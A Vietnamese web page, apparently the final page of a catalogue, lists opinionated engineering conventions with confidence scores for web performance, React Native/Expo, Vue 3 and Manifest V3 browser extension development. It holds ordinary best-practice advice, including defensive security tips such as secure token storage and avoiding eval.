- Kiểm tra bằng công cụ phân tích gói mã (bundle analyzer) trước khi thêm một thư viện phụ thuộc, và ưu tiên các thư viện nhỏ gọn, hỗ trợ loại bỏ mã thừa (tree-shakable). Độ tin cậy: 0.80
- Phân phối hình ảnh ở định dạng AVIF hoặc WebP với thuộc tính srcset đáp ứng (responsive) cùng chiều rộng (width) và chiều cao (height) tường minh. Độ tin cậy: 0.90
- Đánh dấu hình ảnh LCP bằng thuộc tính fetchpriority="high" và tuyệt đối không tải trễ (lazy-load) nó. Độ tin cậy: 0.85
- Tải trễ các hình ảnh và thẻ iframe nằm bên dưới màn hình đầu tiên (below-the-fold) bằng thuộc tính loading="lazy". Độ tin cậy: 0.85
- Tự lưu trữ (self-host) phông chữ, rút gọn bộ ký tự (subset), tải trước (preload) phông chữ chính và sử dụng thuộc tính font-display: swap. Độ tin cậy: 0.80
- Dành sẵn không gian trống cho quảng cáo, nội dung nhúng và nội dung tải muộn để bố cục trang không bị xê dịch. Độ tin cậy: 0.85
- Chia nhỏ các tác vụ kéo dài trên 50 ms và nhường quyền xử lý lại cho luồng chính (main thread) để giữ chỉ số INP ở mức thấp. Độ tin cậy: 0.80
- Tải các tập lệnh của bên thứ ba bằng thuộc tính defer hoặc sau khi có tương tác của người dùng, đồng thời kiểm tra giá trị thực sự của từng tập lệnh. Độ tin cậy: 0.85
- Lưu bộ nhớ đệm (cache) cho các tài sản tĩnh đã gắn mã băm (hashed) với tiêu đề Cache-Control: immutable trong thời hạn một năm. Độ tin cậy: 0.90
- Phân phối mọi tài nguyên qua giao thức HTTP/2 hoặc HTTP/3 từ mạng phân phối nội dung (CDN) có bật nén Brotli. Độ tin cậy: 0.85
- Chỉ khởi tạo kết nối trước (preconnect) tới một hoặc hai nguồn (origin) thực sự cần thiết cho lần kết xuất đầu tiên. Độ tin cậy: 0.70
- Nhúng trực tiếp (inline) phần CSS quan trọng (critical CSS) cho khung nhìn đầu tiên và tải phần còn lại mà không chặn quá trình kết xuất. Độ tin cậy: 0.65
- Ảo hóa (virtualize) các danh sách dài thay vì kết xuất hàng nghìn nút DOM cùng lúc. Độ tin cậy: 0.80
- Chỉ tạo hoạt ảnh (animate) trên hai thuộc tính transform và opacity, đồng thời tôn trọng tùy chọn prefers-reduced-motion của người dùng. Độ tin cậy: 0.85
- Tránh gây tính toán lại bố cục liên tục (layout thrashing): gom nhóm các thao tác đọc DOM trước khi thực hiện các thao tác ghi DOM. Độ tin cậy: 0.75
- Kiểm thử trên điện thoại Android tầm trung với mạng bị bóp băng thông (throttled), chứ không chỉ thử nghiệm trên máy tính xách tay của lập trình viên. Độ tin cậy: 0.90
- Xem sự suy giảm hiệu năng (performance regression) giống như một lỗi phần mềm (bug), cần có người chịu trách nhiệm và ngày ấn định khắc phục. Độ tin cậy: 0.80
Web DevelopmentFrontendJavaScript+2
F@f
0
Ứng dụng React Native taste
Văn bản

Các quy ước mang tính định kiến để xây dựng ứng dụng di động đa nền tảng bằng React Native và Expo.

# Ứng dụng React Native taste của một kỹ sư di động đa nền tảng
- Bắt đầu các ứng dụng mới bằng Expo và quy trình prebuild thay vì một dự án React Native thuần (bare), và chỉ eject khi một mô-đun bản địa (native module) thực sự đòi hỏi điều đó. Độ tin cậy: 0.90
- Viết mọi thứ bằng TypeScript với chế độ nghiêm ngặt (strict mode) được bật, bao gồm cả các tham số điều hướng và các liên kết (bindings) mô-đun bản địa. Độ tin cậy: 0.95
- Sử dụng Expo Router để điều hướng dựa trên tệp và luôn bật định tuyến có kiểu dữ liệu (typed routes) để các liên kết bị hỏng sẽ báo lỗi ngay tại thời điểm biên dịch. Độ tin cậy: 0.80
- Lưu trạng thái máy chủ (server state) trong TanStack Query và giới hạn trạng thái máy khách toàn cục (global client state) trong một kho lưu trữ Zustand nhỏ gọn dành cho phiên đăng nhập và tùy chỉnh cá nhân. Độ tin cậy: 0.85
- Tuyệt đối không lưu trữ token trong AsyncStorage; hãy sử dụng expo-secure-store hoặc Keychain và Keystore cho bất kỳ thông tin nhạy cảm nào. Độ tin cậy: 0.95
- Kết xuất (render) các danh sách dài bằng FlashList hoặc một FlatList đã được tinh chỉnh kỹ với các khóa (keys) ổn định, tuyệt đối không dùng ScrollView kết hợp với hàm map. Độ tin cậy: 0.90
- Chạy các hiệu ứng chuyển động (animations) trên luồng UI bằng Reanimated và xử lý cử chỉ bằng react-native-gesture-handler, thay vì dùng Animated API cũ. Độ tin cậy: 0.85
- Bật Kiến trúc Mới (New Architecture) và Hermes theo mặc định, đồng thời coi những thư viện cản trở việc này là nợ kỹ thuật (tech debt). Độ tin cậy: 0.75
- Duy trì một mô-đun giao diện (theme) duy nhất cho màu sắc, khoảng cách và kiểu chữ, đồng thời hỗ trợ chế độ tối (dark mode) ngay từ màn hình đầu tiên. Độ tin cậy: 0.85
- Tuân thủ các vùng an toàn (safe areas) bằng react-native-safe-area-context thay vì gán cứng khoảng đệm (padding) cho phần tai thỏ (notches). Độ tin cậy: 0.90
- Đặt mã nguồn đặc thù cho từng nền tảng vào các tệp .ios.tsx và .android.tsx thay vì rải rác các câu lệnh kiểm tra Platform.OS. Độ tin cậy: 0.70
- Phát hành các bản vá lỗi JavaScript thông qua EAS Update kèm theo chính sách phiên bản runtime, và sử dụng các bản phát hành trên cửa hàng ứng dụng cho những thay đổi ở tầng native. Độ tin cậy: 0.80
- Dựng (build) và ký số (sign) trong CI bằng EAS Build để không có bản phát hành nào bị phụ thuộc vào một chiếc máy tính cá nhân đơn lẻ. Độ tin cậy: 0.85
- Kiểm thử các thành phần (components) bằng React Native Testing Library và truy vấn theo vai trò (role) cùng văn bản (text), thay vì ưu tiên tìm theo testID trước. Độ tin cậy: 0.80
- Bao phủ các luồng quan trọng từ đầu đến cuối (end-to-end) bằng Maestro hoặc Detox trên các trình giả lập thực tế trong CI. Độ tin cậy: 0.75
- Thêm accessibilityLabel và accessibilityRole vào mọi phần tử có thể chạm (touchable) và giữ kích thước vùng chạm tối thiểu là 44 điểm (points). Độ tin cậy: 0.90
- Xử lý trạng thái ngoại tuyến (offline) như một trạng thái bình thường: hiển thị dữ liệu đã lưu trong bộ nhớ đệm, xếp hàng các thao tác ghi và thử lại khi có kết nối trở lại. Độ tin cậy: 0.80
- Báo cáo các sự cố sập ứng dụng (crashes) và lỗi JavaScript bằng Sentry, bao gồm cả source maps cho mọi bản phát hành. Độ tin cậy: 0.85
- Tối ưu hóa hình ảnh bằng expo-image cùng cơ chế bộ nhớ đệm thay vì dùng thành phần Image mặc định. Độ tin cậy: 0.80
- Đo đạc hiệu năng (profile) bằng React Native DevTools trước khi phỏng đoán các cách khắc phục vấn đề hiệu năng. Độ tin cậy: 0.70
- Chỉ yêu cầu cấp quyền tại đúng thời điểm một tính năng cần đến chúng, kèm theo một màn hình giải thích ngắn gọn trước đó. Độ tin cậy: 0.90
Best PracticesMobile DevelopmentJavaScript+2
F@f
0
Ứng dụng Vue taste
Văn bản

Các quy ước mang tính định hướng rõ ràng để xây dựng ứng dụng Vue 3 dễ bảo trì với TypeScript và Composition API.

# Ứng dụng Vue taste của một kỹ sư frontend
- Bắt đầu các dự án mới bằng Vite và Vue 3, hoặc Nuxt khi cần kết xuất phía máy chủ (server rendering) hoặc định tuyến dựa trên tệp (file-based routing). Confidence: 0.90
- Viết các component bằng script setup và Composition API, không dùng Options API. Confidence: 0.90
- Sử dụng TypeScript ở mọi nơi và kiểm tra kiểu cho template bằng vue-tsc trong hệ thống CI. Confidence: 0.90
- Định nghĩa kiểu cho props và emits bằng generics của defineProps và defineEmits thay vì chỉ khai báo ở thời điểm chạy (runtime-only). Confidence: 0.85
- Sử dụng Pinia cho trạng thái phía client được chia sẻ chung và giữ cho các store nhỏ gọn, chỉ tập trung vào một miền nghiệp vụ (domain) duy nhất. Confidence: 0.85
- Tải dữ liệu từ máy chủ bằng TanStack Query cho Vue hoặc useFetch của Nuxt thay vì tự viết các cờ trạng thái đang tải (loading flags) thủ công trong store. Confidence: 0.80
- Tách logic có thể tái sử dụng thành các composable có tên theo mẫu useSomething trả về các ref và hàm. Confidence: 0.90
- Tìm đến thư viện VueUse trước khi tự viết một composable tùy chỉnh cho các API trình duyệt phổ biến. Confidence: 0.75
- Ưu tiên dùng computed hơn là watch, và chỉ sử dụng watch cho các tác vụ có hiệu ứng phụ (side effects). Confidence: 0.90
- Tuyệt đối không thay đổi trực tiếp (mutate) giá trị của props; hãy phát sự kiện (emit events) hoặc sử dụng defineModel cho ràng buộc hai chiều (two-way binding). Confidence: 0.95
- Luôn cung cấp cho các phần tử trong v-for một khóa (key) ổn định lấy từ dữ liệu, tuyệt đối không dùng chỉ số mảng (index). Confidence: 0.90
- Không bao giờ kết hợp v-if và v-for trên cùng một phần tử. Confidence: 0.90
- Giữ cho các component có độ dài dưới khoảng 200 dòng và tách nhỏ chúng ra khi phần template trở nên khó đọc lướt. Confidence: 0.70
- Sử dụng tên component gồm nhiều từ viết theo kiểu PascalCase và đặt các component cùng chỗ (colocate) theo tính năng chứ không phân chia theo loại kỹ thuật. Confidence: 0.80
- Định kiểu giao diện bằng scoped CSS hoặc Tailwind, và tránh sử dụng các kiểu toàn cục (global styles) ngoại trừ một phần reset nhỏ và các design token. Confidence: 0.75
- Tải trễ (lazy load) các component của tuyến đường (route) bằng cú pháp import động trong Vue Router. Confidence: 0.85
- Kiểm thử các component bằng Vitest và Vue Testing Library, truy vấn phần tử theo vai trò (role) và văn bản hiển thị. Confidence: 0.85
- Kiểm tra mã nguồn (lint) bằng ESLint và eslint-plugin-vue với bộ quy tắc được khuyến nghị, đồng thời định dạng mã bằng Prettier. Confidence: 0.85
- Tránh sử dụng provide và inject cho trạng thái toàn ứng dụng; chỉ dùng chúng cho phần nội bộ của thư viện component và các cấu hình truyền sâu nhiều tầng. Confidence: 0.70
- Làm sạch (sanitize) bất kỳ mã HTML nào trước khi sử dụng v-html, hoặc tốt hơn hết là tránh dùng v-html hoàn toàn. Confidence: 0.95
Best PracticesFrontendJavaScript+1
F@f
0
Tiện ích mở rộng trình duyệt taste
Văn bản

Các quy ước mang tính định hướng rõ ràng để xây dựng tiện ích mở rộng (extension) đa trình duyệt bảo mật theo chuẩn Manifest V3 với TypeScript.

# Gu phát triển Tiện ích mở rộng trình duyệt (Browser Extension) của một lập trình viên tiện ích mở rộng đa trình duyệt
- Xây dựng trên nền tảng Manifest V3 và lên kế hoạch xoay quanh các service worker có thể bị dừng bất cứ lúc nào. Độ tin cậy: 0.95
- Sử dụng một framework như WXT hoặc Plasmo kết hợp với TypeScript và Vite để xử lý việc đóng gói (build), tải lại (reload) và tạo tệp manifest đa trình duyệt. Độ tin cậy: 0.80
- Yêu cầu ít quyền (permissions) nhất có thể, và ưu tiên `activeTab` cùng `optional_permissions` thay vì quyền truy cập host diện rộng. Độ tin cậy: 0.95
- Không bao giờ yêu cầu quyền host `all_urls` trừ khi tính năng cốt lõi thực sự cần hoạt động trên mọi trang web. Độ tin cậy: 0.90
- Không lưu giữ trạng thái quan trọng nào trong biến toàn cục (globals) của service worker mà hãy lưu trữ bền vững bằng `chrome.storage`. Độ tin cậy: 0.95
- Sử dụng `chrome.storage.session` cho các thông tin bí mật tạm thời và `chrome.storage.local` hoặc `sync` cho cài đặt người dùng, đi kèm một lớp bọc có định kiểu (typed wrapper) và giá trị mặc định. Độ tin cậy: 0.85
- Sử dụng `chrome.alarms` cho các tác vụ định kỳ thay vì dùng `setInterval` ở chế độ chạy nền (background). Độ tin cậy: 0.90
- Đăng ký tất cả các trình lắng nghe sự kiện (event listeners) ở cấp cao nhất (top level) của service worker để chúng không bị mất khi khởi động lại. Độ tin cậy: 0.90
- Giữ cho các content script nhỏ gọn và nhúng (inject) chúng bằng mã lệnh thông qua `chrome.scripting` bất cứ khi nào có thể. Độ tin cậy: 0.85
- Cô lập giao diện người dùng (UI) được nhúng bên trong một Shadow DOM để CSS của trang web và CSS của tiện ích mở rộng không thể xung đột với nhau. Độ tin cậy: 0.90
- Coi mọi thông điệp (message) gửi từ content script và các trang web là không đáng tin cậy và phải xác thực (validate) chúng bằng một lược đồ (schema). Độ tin cậy: 0.95
- Định nghĩa các kiểu thông điệp (message types) trong một module dùng chung duy nhất và sử dụng các hàm hỗ trợ request/response có định kiểu cho việc truyền thông điệp lúc chạy (runtime messaging). Độ tin cậy: 0.85
- Không bao giờ nhúng mã nguồn từ xa (remote code) hoặc sử dụng `eval`, đồng thời duy trì Chính sách Bảo mật Nội dung (Content Security Policy - CSP) nghiêm ngặt. Độ tin cậy: 0.95
- Sử dụng `declarativeNetRequest` để chặn hoặc sửa đổi các yêu cầu mạng thay vì cố gắng chặn bắt chúng bằng mã lệnh. Độ tin cậy: 0.85
- Sử dụng `webextension-polyfill` hoặc lớp trừu tượng của framework để cùng một mã nguồn có thể chạy được trên Chrome, Firefox, Edge và Safari. Độ tin cậy: 0.80
- Thu thập ít dữ liệu người dùng nhất có thể và giải thích rõ ràng trên trang thông tin cửa hàng (store listing) về những gì được lưu trữ và lý do lưu trữ. Độ tin cậy: 0.90
- Xử lý các sự kiện cài đặt mới (`install`) và cập nhật (`update`) để di chuyển (migrate) các cài đặt đã lưu giữa các phiên bản. Độ tin cậy: 0.85
- Kiểm thử trang popup và trang tùy chọn (options) như giao diện web thông thường, và chạy kiểm thử đầu-cuối (end-to-end) bằng Playwright với tiện ích mở rộng được nạp ở dạng chưa đóng gói (unpacked). Độ tin cậy: 0.80
- Tự động hóa quá trình build, tăng số phiên bản (version bump) và tải lên cửa hàng trong CI, với một gói tệp zip đầu ra riêng cho từng trình duyệt. Độ tin cậy: 0.80
- Giữ cho cửa sổ popup phản hồi nhanh bằng cách tải trễ (lazy load) các dữ liệu nặng và hiển thị trạng thái đã lưu trong bộ nhớ đệm (cached state) trước. Độ tin cậy: 0.80
- Viết một đoạn giải trình quyền truy cập ngắn gọn cho từng quyền trước khi gửi xét duyệt lên cửa hàng. Độ tin cậy: 0.85
Best PracticesFrontendSecurity+2
F@f
0
Trước3 / 3